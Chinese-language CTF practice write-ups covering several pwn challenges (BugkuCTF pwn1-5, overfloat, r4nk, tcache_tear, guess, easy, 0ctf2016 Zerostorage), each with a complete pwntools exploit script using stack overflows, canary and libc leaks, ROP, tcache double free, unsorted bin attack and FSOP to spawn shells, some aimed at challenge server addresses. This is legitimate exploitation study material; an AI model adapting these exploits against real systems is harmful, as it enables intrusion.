六月份刷题

六月Pwn刷题

bugkuCTF Pwn

Pwn1

nc上去直接cat flag

Pwn2

栈溢出,直接getshell函数

1
2
3
4
5
6
7
8
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
#p = process('./pwn2')
p = remote('114.116.54.89',10003)
ret_addr = 0x400751
payload = 'a'*(0x30+8)+p64(ret_addr)
p.sendline(payload)
p.interactive()

pwn3–read_note

这个题目也是栈溢出

栈溢出漏洞,但是开了canarypie,所以我们先要利用puts函数泄漏canaryelf_base,和libc_base,然后ret到system('/bin/sh\x00')

在泄露canary的时候我们可以利用如果输入字节数不是0x270可以重新输入一次来绕过返回时检查canary。成功泄露canary之后我们就可以泄露返回地址,然后一样通过第二次写入覆盖返回地址,第三次重写泄露libc,最后返回到system来getshell。

详细脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
from pwn import *

context.log_level = 'debug'

p = process('./read_note')

#p = remote('114.116.54.89',10000)
#leak canary
p.recvuntil('path:\n')
p.sendline('flag')
p.recvuntil(' len:\n')
p.sendline(str(0x300))
p.recvuntil('note:\n')
p.send('a'*0x259)
p.recvuntil('a'*0x259)
canary = u64(p.recv(7).rjust(8,'\x00'))
ebp = u64(p.recv(6).ljust(8,'\x00'))
log.success('canary : 0x%x'%canary)
log.success('ebp : 0x%x'%ebp)
p.recvuntil('s 624)\n')
p.send('a'*0x258 + p64(canary) + p64(ebp) + '\x20' )

#leak elf_base
p.recvuntil('path:\n')
p.sendline('flag')
p.recvuntil(' len:\n')
p.sendline(str(0x300))
p.recvuntil('note:\n')
p.send('a'*0x268)
p.recvuntil('a'*0x268)
elf_base = u64(p.recv(6).ljust(8,'\x00')) - 0xd2e
log.success('elf_base : 0x%x'%elf_base)
p.recvuntil('s 624)\n')
p.send('a'*0x258 + p64(canary) + p64(ebp) + '\x20' )

# #leak libc
p.recvuntil('path:\n')
p.sendline('flag')
p.recvuntil(' len:\n')
p.sendline(str(0x300))
p.recvuntil('note:\n')
p.send('a'*0x288)
p.recvuntil('a'*0x288)
libc_base = u64(p.recv(6).ljust(8,'\x00')) - 0x20830
log.success('libc_base : 0x%x'%libc_base)
offset_system = 0x0000000000045390
offset_str_bin_sh = 0x18cd57
system_addr = libc_base + offset_system
binsh_addr = libc_base + offset_str_bin_sh
pop_ret = elf_base + 0xe03
p.recvuntil('s 624)\n')
payload = 'a'*0x258 + p64(canary) + p64(ebp) + p64(elf_base+0xd20)
p.send(payload)

# #ret2system
p.recvuntil('path:\n')
p.sendline('flag')
p.recvuntil(' len:\n')
p.sendline(str(0x300))
p.recvuntil('note:\n')
p.send('a'*0x258 + p64(canary) + p64(ebp) + p64(pop_ret) + p64(binsh_addr) + p64(system_addr) )
#gdb.attach(p)
p.recvuntil('s 624)\n')
payload = 'a'
p.send(payload)

p.interactive()

pwn4

栈溢出非常少,这道题学到了栈溢出getshell还可以system('$0')可以getshell

关于getshell的一些参考:

1
2
3
4
5
6
7
8
9
10
11
12
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
char s; // [rsp+0h] [rbp-10h]

memset(&s, 0, 0x10uLL);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 1, 0LL);
puts("Come on,try to pwn me");
read(0, &s, 0x30uLL);
puts("So~sad,you are fail");
return 0LL;
}

直接找$0

详细脚本如下:

1
2
3
4
5
6
7
8
9
10
11
from pwn import *
context(os='linux',arch='amd64',log_level='debug')

elf=ELF('./pwn4')
code_addr = 0x60111f
p = remote("114.116.54.89",10004)
system_plt = elf.symbols['system']
pop_rdi_ret = 0x00000000004007d3
payload = 'a'*0x18+p64(pop_rdi_ret)+p64(code_addr)+p64(system_plt)
p.sendline(payload)
p.interactive()

pwn5

这道题也是一个栈溢出,但是需要满足一些子串的条件才能让他正常返回,不然就直接exit出去了,满足的子串条件自己调进去看是什么就拼上去就好了,注意小端序就行。思路就是格式化字符串泄露libc,然后直接覆盖返回地址为one_gadget,再满足正常返回的条件,然后就ok了

下面是详细脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23

from pwn import *

context.log_level = 'debug'

p = process('./human')
elf = ELF('./human')
p = remote("114.116.54.89",10005)
payload = ".%11$p."
pause()
p.sendline(payload)
p.recvuntil(".")
leak = int(p.recvuntil(".",drop = True),16)
libc_base = leak - 0x20830
log.success('leak : 0x%x'%leak)
log.success('libc_base : 0x%x'%libc_base)
one_gadget = libc_base + 0x45216
payload = "\xe9\xb8\xbd\xe5\xad\x90" + "\xe7\x9c\x9f\xe9\xa6\x99"
payload = payload.ljust(0x20,"A")
payload += p64(0) + p64(one_gadget)
p.sendline(payload)

p.interactive()

DigAips W8

挂起题目:socat tcp-l:端口号,fork exec:程序位置
这里DigAips的题目都是网上收集的题目

overfloat

overfloat我们可以猜测它与浮点数有关。如果我们仔细观察,我们可以看到0x3f800000代表浮动1.0

1
2
In [5]: binascii.hexlify(struct.pack('f', 1.0))
Out[5]: '0000803f'

我们可以将4字节数组转换为浮点数,然后溢出数组

1
2
3
4
5
def byte_to_float(data):
if len(data) != 4:
log.error("Length of data should be 4")
sys.exit(0)
return str(struct.unpack('f', bytes(data))[0])

并溢出数组

1
2
3
4
5
6
7
8
9
for i in range(0xe):
tosend = byte_to_float("A"*4)
p.sendline(tosend)

# trigger return to main
# BOF at end of main -> ret
p.sendline("done")

p.interactive()

然后我们可以定义一个写入八字节的函数
最后利用方式就是利用gadget把puts的真实地址泄露出来,然后直接得到libc的基地址,最后直接返回到one_gadget就行了

详细脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
from pwn import *
import struct
import sys
import binascii

context(os='linux',arch='amd64',aslr = 'False')#,log_level='debug')
local = 0
#log_level='debug'

if local:
p = process("./overfloat")#,env={'LD_PRELOAD':'./libc_x64.so.6'})
elf = ELF("./overfloat")
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
#p = remote('192.168.210.11',11006)
p = remote('47.92.28.22',30521)
elf = ELF("./overfloat")
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')



def byte_to_float(data):
if len(data) != 4:
log.error("Length of data should be 4")
sys.exit(0)
return str(struct.unpack('f', bytes(data))[0])

def write_8_bytes(data):
tosend = byte_to_float(data[:4])
p.sendline(tosend)
tosend = byte_to_float(data[4:])
p.sendline(tosend)

p.recvuntil("LIKE TO GO?")
p.recvline()
for i in range(0xe):
tosend = byte_to_float(chr(i)*4)
p.sendline(tosend)

pop_rdi = 0x0000000000400a83 #: pop rdi; ret;

# ret
write_8_bytes(p64(pop_rdi))
# GOT
write_8_bytes(p64(elf.got["puts"]))
# call puts
write_8_bytes(p64(elf.symbols["puts"]))

# jump to beginning
start = 0x400993
write_8_bytes(p64(start))

p.sendline("done")
p.recvuntil("VOYAGE!")
p.recvline() # empty line
res = p.recvline()[:-1]
print("puts @ " + hex(u64(res.ljust(8, "\x00"))))
puts_address = u64(res.ljust(8, "\x00"))

libc_base = puts_address - libc.symbols["puts"]
print("libc @ " + hex(libc_base))
pause()
if debug:
one_gagdet = libc_base + 0x4f2c5
else:
one_gagdet = libc_base + 0x4f2c5

# exploit a second time
p.recvuntil("LIKE TO GO?")
p.recvline()
for i in range(0xe):
tosend = byte_to_float(chr(i)*4)
p.sendline(tosend)

# one gadget
write_8_bytes(p64(one_gagdet))
p.sendline("done")

# trigger return to main
# BOF at end of main -> ret

p.interactive()

r4nk

这道题是一个关于电影排名的程序,
通过rank可以修改栈上的内容,这样我们可以改一个打印函数的偏移值,进而进行泄露。

1
2
3
4
5
6
7
8
9
10
11
12
__int64 __fastcall Rank(__int64 a1)
{
__int64 v1; // rbx
__int64 result; // rax

write(1, "\nt1tl3> ", 9uLL);
v1 = (signed int)my_read();
write(1, "r4nk> ", 7uLL);
result = (signed int)my_read();
修改stack content-> *(_QWORD *)(a1 + 8 * v1) = (signed int)result;// a1 + 8*17
return result;
}

所以我们可以利用这个特点来写入特殊的东西泄露libc地址,然后再show的时候,就会去读取特定地址的内容,从而泄露libc,也就是说我们就有了任意地址读的操作

1
2
3
addr_list = 0x602080 # movie list
addr_buf = 0x602100 # buf
rank(0, (addr_buf - addr_list) // 8 + 1) # rank(0, 0x11)

泄露完libc之后,我们可以先修改栈上返回地址__libc_start_main+2310x0000000000400980(pop rsp; pop r13;ret;)
找一些有趣的gadget ,比如pop rsp,在返回之后的add rsp 8; 控制了rsp为0x602100,同时写入0x602100+8地方为one_gadget,则成功返回到one_gadget进行getshell

这是一个有趣的栈迁移,通过改写栈上main函数的返回地址来进行栈迁移。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
import sys
import time
import random

local = 1
if local:
p = process("./r4nk")#,env={'LD_PRELOAD':'./libc_x64.so.6'})
elf = ELF("./r4nk")
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
#p = remote('192.168.210.11',11006)
p = remote('47.92.28.22',30522)
elf = ELF("./r4nk")
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')


def rank(t,rr):
p.recvuntil("> ")
p.sendline("2")
p.recvuntil("> ")
p.sendline(str(t))
p.recvuntil("> ")
p.sendline(str(rr))

def show(start,end):
pass
p.recvuntil(start)
data = p.recvuntil(end)[:-len(end)]
return data

if __name__ == '__main__':
rank(0,0x11)
p.recvuntil("> ")
p.sendline("1"+"\x00"*7 + p64(0x000602030))
p.recvuntil("0. ")
libc = u64(p.recv(6).ljust(8,"\x00")) - 0x110070
print("libc = {}".format(hex(libc)))
magic = libc + 0x4f322
pop_rsp_1 = 0x0000000000400980
pause()
rank(19,pop_rsp_1) # pop rsp; pop r13;ret;
rank(20,0x602100) # nptr addr (myread output addr) 0x602108 -> one_gadget

p.recvuntil("> ")
p.sendline("3" + "\x00"*7 + p64(magic))

p.interactive()

方法二,泄露libc后,使用使用ret2csu来调用write函数进行getshell
参考链接:https://ptr-yudai.hatenablog.com/entry/2019/06/03/113943#pwnable-494pts-rank

tcache_tear

这是一道tcache的题目,然后漏洞点在于free之后没有清零导致的double free但是限制了free次数为7次,但是我们可以在name输入的时候设置fake_chunkfree得到libc,然后show出来就可以泄露libc地址,最后在利用double free来覆盖free_hook就完事了。

其中需要注意的是,要free掉fake块的时候需要提前在对应块的下一块的位置set好改pre的inuse位为1,否则会报double free or corruption (!prev)
具体脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
from pwn import *

def add(size,note):
p.sendlineafter(":","1")
p.sendlineafter(":",str(size))
p.sendafter(":",note)

def delete():
p.sendlineafter(":","2")



#context.log_level="debug"
p=process("./tcache_tear")#,env = {'LD_PRELOAD' : './libc.so'})
#p=remote("chall.pwnable.tw",10207)
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
p.sendlineafter("Name:","name_ZoE")

# 602060
#leak libc

# passby double free or corruption (!prev)
add(0x70,"ZoE\n")
delete()
delete()
add(0x70,p64(0x602550)) # fd = 0x602550
add(0x70,"ZoE\n")
add(0x70,p64(0)+p64(0x21)+p64(0)*2+p64(0)+p64(0x21)) # 0x602550's content
# passby double free or corruption (!prev) 0x21 -> set pre inuse flag = 1

pause()
add(0x60,"ZoE\n")
delete() # double free again
delete()
add(0x60,p64(0x602050)) # fd = 0x602550 double free to name's addr
add(0x60,"ZoE\n")

add(0x60,p64(0)+p64(0x501)+p64(0)*5+p64(0x602060)) # big fake heap chunk *(0x602088(ptr)) = 0x602060 -> free ptr
delete()

p.sendlineafter(":","3")
p.recvuntil("Name :")
libc_addr=u64(p.recv(8))-0x3ebca0
log.info(hex(libc_addr))

#write free_hook
free_hook=libc_addr+libc.symbols['__free_hook']
system_addr=libc_addr+libc.symbols['system']
add(0x40,"ZoE\n")
delete()
delete()
add(0x40,p64(free_hook))
add(0x40,"ZoE\n")
add(0x40,p64(system_addr))

#get_shell
add(0x18,"/bin/sh\x00")
delete()
p.interactive()

guess

网鼎杯的一道guess,猜flag的一道题,只能fork三次。开启了Cannary,采用stack smash来进行信息泄露绕过cannary。同理我们也可以用一样的方法泄露三次,可以按照如下顺序泄露:首先通过got表来泄露libc的基址,接着利用libc中的environ变量来泄露栈的地址,最后通过固定的偏移来泄露栈上存放的flag。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
# set follow-fork-mod child
from pwn import *
context(arch='amd64', os='linux', endian='little')
#context.log_level='debug'

p = process('./guess')
elf = ELF('./guess')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
print p.recvuntil('This is GUESS FLAG CHALLENGE!')
print p.recvuntil('Please type your guessing flag')
# here is offset to argv[0]
offset = 0x40+0x8*3+(0x7fff42181a88-0x7fff421819b8)
# leak libc base
payload = 'a'*offset+p64(0x602048)
p.sendline(payload)
print p.recvuntil('*** stack smashing detected ***: ')
# 0x7fb8571c1740
libc_start_main = u64(p.recvuntil(' ')[:-1].ljust(8,'\x00'))
libc_base = libc_start_main-libc.symbols['__libc_start_main']
# using environ to leak stack base addr
print "libc_base = " + str(hex(libc_base))
stack_addr_ptr = libc_base+libc.symbols['environ']

print "stack_addr_ptr = " + str(hex(stack_addr_ptr))
print p.recvuntil('Please type your guessing flag')
payload = 'a'*offset+p64(stack_addr_ptr)
pause()
p.sendline(payload)
print p.recvuntil('*** stack smashing detected ***: ')

# 0x7fffe109fde8
stack_addr = u64(p.recvuntil(' ')[:-1].ljust(8,'\x00'))
print "stack_addr = " + str(hex(stack_addr))
# calc flag addr by stack_base-flag_offset
flag_offset = 0x7fffe109fde8-0x7fffe109fc80
flag_addr = stack_addr - flag_offset

print p.recvuntil('Please type your guessing flag')
payload = 'a'*offset+p64(flag_addr)
p.sendline(payload)

print p.recv()
p.interactive()

easy

SWPUCTF原题
这个里面有一个格式化字符串,一个栈溢出,先用格式化泄漏出 libc 基地址和 heap 地址。通过 heap 获得目标地址。
然后是 motto 处,先是输入长度时如果长度为负那么会对长度进行求补,-9223372036854775808(-0x8000000000000000)补数是本身,这样就可以实现输入一串很长的字符串造成栈溢出了。

1
2
3
4
5
__int64
long int 8byte(qword) 正: 0~0x7fffffffffffffff
负: 0x8000000000000000~0xffffffffffffffff
-9223372036854775808(-0x8000000000000000)补数是本身
这样子就能绕过第二个if

如果是其他负数,比如:

1
2
3
-9223372036854 ->0xfffff79c842fa50a
取补码后为:0x000008637bd05af6
但是第二个if又会把他写死1024大小
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
后面有异常检查,简单分析一下,关于C++的异常处理
# 会在__cxa_throw@plt退出
# 崩掉的地方调试信息如下:
=> 0x400e71: call 0x400a30 <__cxa_throw@plt>
0x400e76: mov rax,QWORD PTR [rbp-0x418]
0x400e7d: mov rcx,QWORD PTR [rbp-0x8]
0x400e81: xor rcx,QWORD PTR fs:0x28
0x400e8a: je 0x400e91
Guessed arguments:
arg[0]: 0x2142ce0 --> 0x40100e ("The format of motto is error!")
arg[1]: 0x6020e0 --> 0x7f898698c4f8 (:__pointer_type_info+16>: 0x00007f89866a6160)
arg[2]: 0x0
==================================
跟进去
=> 0x7f1b96a4d907 <__cxa_throw+87>: call 0x7f1b96a47f60 <_Unwind_RaiseException@plt>
0x7f1b96a4d90c <__cxa_throw+92>: mov rdi,rbx
0x7f1b96a4d90f <__cxa_throw+95>: call 0x7f1b96a46dc0 <__cxa_begin_catch@plt>
0x7f1b96a4d914 <__cxa_throw+100>: call 0x7f1b96a49ac0 <std::terminate()@plt>
0x7f1b96a4d919: nop DWORD PTR [rax+0x0]
Guessed arguments:
arg[0]: 0xdf7cc0 --> 0x474e5543432b2b00 ('')

上面的异常主要是c的异常处理,详细解读可以看:https://www.cnblogs.com/catch/p/3604516.html
最后这里还要绕过 Canary,我们这里用c
异常处理来绕过,直接触发异常,unwind 时是不检测 Canary 的,这样就绕过了Canary 了。
unwind的是这一段,如图

1
2
3
4
payload  = "aaaaaaaa"
payload += p64(one_gadget)
payload = payload.ljust(0x410, '\x00')
p.sendline(payload + p64(pivote_addr) + p64(unwind_addr))

getshellpayload如上,但是注意的是strdup会把这里的这些内容放到heap上,而heap上就有了one_gadget,而pivote_addrheap上的地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from pwn import *

p = process("./easy")
#p = remote("118.25.216.151", 10001)
elf = ELF("./easy", checksec=False)
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6", checksec=False)

puts_got = elf.got["puts"]
puts_plt = elf.plt["puts"]
read_plt = elf.plt["read"]
read_addr = 0x400BF5

rdi_ret = 0x400fa3
rsi_r15_ret = 0x400fa1

# context.log_level = "debug"

# -------- leak info --------
p.recvuntil("please input name:\n")
p.send("%p/%p/%p/%p/%p/%p/!%p/\n")

p.recvuntil("/")
libc_base = int(p.recvuntil("/")[:-1], 16) - 0x3C6780
p.recvuntil("/!")
heap_base = int(p.recvuntil("/")[:-1], 16)
info("libc base: " + hex(libc_base))
info("heap base: " + hex(heap_base))

# -------- exploit --------
one_gadget = libc_base + 0x45216
info("one_gadget: " + hex(one_gadget))
pivote_addr = heap_base + 0x20
info("pivote addr: " + hex(pivote_addr))
unwind_addr = 0x400EC5

pause()
p.recvuntil("please input size of motto:\n")
p.sendline("-9223372036854775808")
p.recvuntil("please input motto:\n")

payload = "aaaaaaaa"
payload += p64(one_gadget)
payload = payload.ljust(0x410, '\x00')
p.sendline(payload + p64(pivote_addr) + p64(unwind_addr))

p.interactive()

法二

其实不用unwind绕cannary这个神奇的操作,直接格式化字符串泄露就好了嘛,乖乖的。。哈哈哈哈
其他的栈溢出操作,同理,接下来就是常规操作了(泄露libc,返回到system或者one_gadet都ok)
正常ret2 system("/bin/sh")

详细脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
from pwn import *
context.log_level = "debug"
p = process("./easy")
# p = remote("118.25.216.151" , 10001)
elf = ELF("./easy", checksec=False)
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6", checksec=False)

# leak canary
payload = "%15$p"
p.recvuntil("name:\n")
p.sendline(payload)
p.recvuntil("Hello ")
canary = int(p.recvuntil("please" , drop = True) , 16)

# 0x8000000000000000
int64_max = -9223372036854775808
p.recvuntil("motto:\n")
p.sendline(str(int64_max))

pop_rdi = 0x0000000000400fa3
puts_plt = elf.plt["puts"]
puts_got = elf.got["puts"]

payload = "a" * (0x410-8) + p64(canary) + "a" * 8
payload += p64(pop_rdi) + p64(puts_got) + p64(puts_plt)
payload += p64(0x400DA0)

p.recvuntil(" motto:\n")
p.sendline(payload)
# leak libc
puts_addr = u64(p.recvuntil("\n" , drop = True).ljust(8 , "\x00"))
print(hex(puts_addr))
libc_base = puts_addr - libc.sym["puts"]
system = libc_base + libc.sym["system"]
str_bin_sh = libc_base + libc.search("/bin/sh").next()

int64_max = -9223372036854775808
p.recvuntil("motto:\n")
p.sendline(str(int64_max))

pop_rdi = 0x0000000000400fa3
puts_plt = elf.plt["puts"]
puts_got = elf.got["puts"]
# getshell
payload = "a" * (0x410-8) + p64(canary) + "a" * 8
payload += p64(pop_rdi) + p64(str_bin_sh) + p64(system)
pause()
p.recvuntil(" motto:\n")
p.sendline(payload)

p.interactive()

0ctf2016 Zerostorage

用malloc只分配空间不初始化,也就是依然保留着这段内存里的数据,
而calloc则进行了初始化,calloc分配的空间全部初始化为0,这样就避免了可能的一些数据错误
realloc则对malloc申请的内存进行大小的调整.
三则区别:

区别:

(1)函数malloc不能初始化所分配的内存空间,而函数calloc能.如果由malloc()函数分配的内存空间原来没有被使用过,则其中的每一位可能都是0;反之, 如果这部分内存曾经被分配过,则其中可能遗留有各种各样的数据.也就是说,使用malloc()函数的程序开始时(内存空间还没有被重新分配)能正常进行,但经过一段时间(内存空间还已经被重新分配)可能会出现问题.
(2)函数calloc() 会将所分配的内存空间中的每一位都初始化为零,也就是说,如果你是为字符类型或整数类型的元素分配内存,那么这些元素将保证会被初始化为0;如果你是为指针类型的元素分配内存,那么这些元素通常会被初始化为空指针;如果你为实型数据分配内存,则这些元素会被初始化为浮点型的零.
(3)函数malloc向系统申请分配指定size个字节的内存空间.返回类型是 void类型.void表示未确定类型的指针.C,C++规定,void 类型可以强制转换为任何其它类型的指针.
(4)realloc可以对给定的指针所指的空间进行扩大或者缩小,无论是扩张或是缩小,原有内存的中内容将保持不变.当然,对于缩小,则被缩小的那一部分的内容会丢失.realloc并不保证调整后的内存空间和原来的内存空间保持同一内存地址.相反,realloc返回的指针很可能指向一个新的地址.
(5)realloc是从堆上分配内存的.当扩大一块内存空间时,realloc()试图直接从堆上现存的数据后面的那些字节中获得附加的字节,如果能够满足,自然天下太平;如果数据后面的字节不够,问题就出来了,那么就使用堆上第一个有足够大小的自由块,现存的数据然后就被拷贝至新的位置,而老块则放回到堆上.这句话传递的一个重要的信息就是数据可能被移动.

unsortedbin attack

目的,把某一个地址写为特点值(一个libc地址)

1
2
3
4
victim = unsorted_chunks(av)->bk=p
bck = victim->bk=p->bk = target addr-16
unsorted_chunks(av)->bk = bck=target addr-16
bck->fd = *(target addr -16+16) = unsorted_chunks(av);

分析

漏洞点主要带merge那里,首先他遍历list找到一个空的序号来放合并后chunk的信息,然后在合并fromid和toid后把chunk_struct放到一开始找到的那个序号里,然后realloc了toid,size为两个chunk大小相加,把fromid删除掉,并把fromid和toid的内容清除掉free掉。这里主要是没有判断合并的两个chunk的序号是否是一样的。也就是说合并两个一样id的时候,先realloc了那个指针,然后又把那个指针free掉了,但是又存进了list里面,导致形成UAF。

利用思路

参考:https://www.anquanke.com/post/id/178418
泄露地址:先分配一些chunk,删除掉一个(不能与topchunk相邻),先合并两个一样chunk,因为realloc大小没有超过原来堆块的大小,因此不对内容做任何处理,然后我们就可以的得到libc地址和heap地址了。
利用方法:
Unsorted bin attack(FIFO) 先進先出
Fast bin unlink attack(LIFO) 后进先出
fastbin attack:

旧版思路

https://www.w0lfzhang.com/2017/03/17/2016-0CTF-zerostorage/
这个主要是泄露libc后可以根据libc地址找到程序的基地址,是根据旧版linux内核来说的,现在已经不适用了,找到程序基地址后,泄露key,就可以fastbin attack控制完bss中的list直接改free_hook

现在版本思路

但是在现有的版本中,无法通过libc地址得到程序的基址,该如何进一步利用拿到shell?接下来就是标题中新解所包含的部分了:据之前写的文章堆中global_max_fast相关利用,我们可以将目标瞄准为将global_max_fast改写后,复写_IO_list_all指针用io file来进行攻击。

但是_IO_list_all指针地址到main_arena中fastbin数组的地址的距离转换成对应的堆的size达到了0x1410,题目中限制了堆申请的大小只能为0x80到0x1000,所以似乎无法控制0x1410大小的堆块。

在把程序再次审查以后,发现解决方法还是在merge函数中,merge函数把两个entry合并,但是并没有对合并后的堆块的大小进行检查,使得其可以超过0x1000,最终达到任意堆块大小申请的目的。

这样问题就简单了,merge出相应大小的堆块并将其内容填写成伪造的io file结构体,free该堆块至_IO_list_all指针中,最终触发FSOP来get shell。

FSOP

FSOP 是 File Stream Oriented Programming 的缩写,根据前面对 FILE 的介绍得知进程内所有的_IO_FILE 结构会使用_chain 域相互连接形成一个链表,这个链表的头部由_IO_list_all 维护。

FSOP 的核心思想就是劫持_IO_list_all 的值来伪造链表和其中的_IO_FILE 项,但是单纯的伪造只是构造了数据还需要某种方法进行触发。FSOP 选择的触发方法是调用_IO_flush_all_lockp,这个函数会刷新_IO_list_all 链表中所有项的文件流,相当于对每个 FILE 调用 fflush,也对应着会调用_IO_FILE_plus.vtable 中的_IO_overflow。

详细脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
#!/usr/bin/env python

from pwn import *

#context.log_level = "debug"

elf = "./zerostorage"
#libc = ELF("./libc.so.6")

unsorted_bin_off = 0x3c4b78 # leak libc
global_max_fast_off = 0x3c67f8
cache_size_off = 0x3c41f0
io_stdin_off = 0x3c49b4
system_off = 0x45390
io_stdout_off = 0x3c5620
io_stdfil_1_lock_off = 0x3c6780
io_file_jumps_off= 0x3c36e0
nl_global_locale_off = 0x3c5420
nl_clctype_class_off = 0x1775e0

sysmem = 0x21000
stdout = 0xfbad2887

p = process(elf)
#p = remote("172.16.30.131", 5678)

def insert(s):
p.recvuntil("Your choice: ")
p.sendline("1")
p.recvuntil("Length of new entry: ")
p.sendline(str(len(s)))
p.recvuntil("Enter your data: ")
p.send(s)

def update(idx, s):
p.recvuntil("Your choice: ")
p.sendline("2")
p.recvuntil("Entry ID: ")
p.sendline(str(idx))
p.recvuntil("Length of entry: ")
p.sendline(str(len(s)))
p.recvuntil("Enter your data: ")
p.send(s)

def merge(idx1, idx2):
p.recvuntil("Your choice: ")
p.sendline("3")
p.recvuntil("Merge from Entry ID: ")
p.sendline(str(idx1))
p.recvuntil("Merge to Entry ID: ")
p.sendline(str(idx2))

def delete(idx):
p.recvuntil("Your choice: ")
p.sendline("4")
p.recvuntil("Entry ID: ")
p.sendline(str(idx))

def view(idx):
p.recvuntil("Your choice: ")
p.sendline("5")
p.recvuntil("Entry ID: ")
p.sendline(str(idx))
p.recvuntil("Entry No."+str(idx)+":\n")
'''
bb 0x10CC
bb 0x127D
bb 0x14EB
bb 0x15F6

'''

# leak libc

insert(p8(0)*0x8)#0
insert(p8(1)*0x8)#1
insert(p8(2)*0x8)#2
pause()
insert(p8(3)*0x8)#3
delete(2) # not the chunk of the topchunk's pre that is ok.
merge(0, 0)
view(2)

heap_base = u64(p.recv(8))-0x120
unsorted_bin_addr = u64(p.recv(8))
libc_base = unsorted_bin_addr-unsorted_bin_off
log.info("heap_base: "+hex(heap_base))
log.info("libc_base: "+hex(libc_base))

top_chunk_off = 0x11580
top_chunk_addr = heap_base+top_chunk_off
log.info("top_chunk: "+hex(top_chunk_addr))

io_stdout_addr = libc_base+io_stdout_off
io_lock_addr = libc_base+io_stdfil_1_lock_off
io_file_jump_addr = libc_base+io_file_jumps_off
nl_clctype_class_addr = libc_base+nl_clctype_class_off

system_addr = libc_base+system_off

# fastbin attack

insert(p8(0)*0x10)
insert(p8(0)*0x10)

insert(p8(0)*0x1000)
insert(p8(0)*0x10)
merge(6, 6)
insert(p8(0)*0x1000)
merge(5, 6)
insert(p8(0)*0x1000)
merge(5, 8)
insert(p8(0)*0xff0)
merge(5, 6)

insert(p8(0)*0x1000)
insert(p8(0)*0x10)

insert(p8(0)*0x1000)
insert(p8(0)*0x1000)
merge(9, 10)

insert(p8(0)*0x1000)
insert(p8(0)*0x10)

insert(p8(0)*0x1000)
insert(p8(0)*0xff0)
merge(12, 13)

insert(p8(0)*0x1000)
insert(p8(0)*0x10)

insert(p8(0)*0x1000)
insert(p8(0)*0x1000)
merge(15, 16)

insert(p8(0)*0x1000)
insert(p8(0)*0x10)

payload = p8(0)*0x1b0
payload += p64(sysmem)
payload += p8(0)*(0x2a0-0x8-len(payload))
payload += p64(nl_clctype_class_addr)
payload += p8(0)*(0x438-0x8-len(payload))
payload += p64(stdout)
payload += p8(0)*(0x4a8-0x8-len(payload))
payload += p32(0x1)
payload += p8(0)*(0x4c0-0x8-len(payload))
payload += p64(io_lock_addr)
payload += p8(0)*(0x510-0x8-len(payload))
payload += p64(io_file_jump_addr)
payload += p8(0)*(0x520-0x8-len(payload))
payload += p64(io_stdout_addr)
payload += p8(0)*(0x1000-len(payload))
insert(payload)

payload = p8(0)*(0x910-0x8)
payload += p64(system_addr)
payload += p8(0)*(0x980-0x8-len(payload))
payload += p64(top_chunk_addr)+p64(0)
payload += p64(unsorted_bin_addr)*2
payload += p8(0)*(0xff0-len(payload))
insert(payload)
merge(18, 19)

insert(p8(0)*0x1000)
insert("/bin/sh")

##-- unsorted_bin_attack

delete(4)

payload = p64(unsorted_bin_addr)
payload += p64(libc_base+global_max_fast_off-0x10)
update(2, payload)

insert(p8(0)*0x10)
##--

delete(8)
update(7, p64(libc_base+cache_size_off)+p64(0))

merge(11, 14)
merge(17, 20)

p.sendline("2")
p.sendline("19")
p.sendline("256")

p.interactive()

BCTF 2016 bcloud

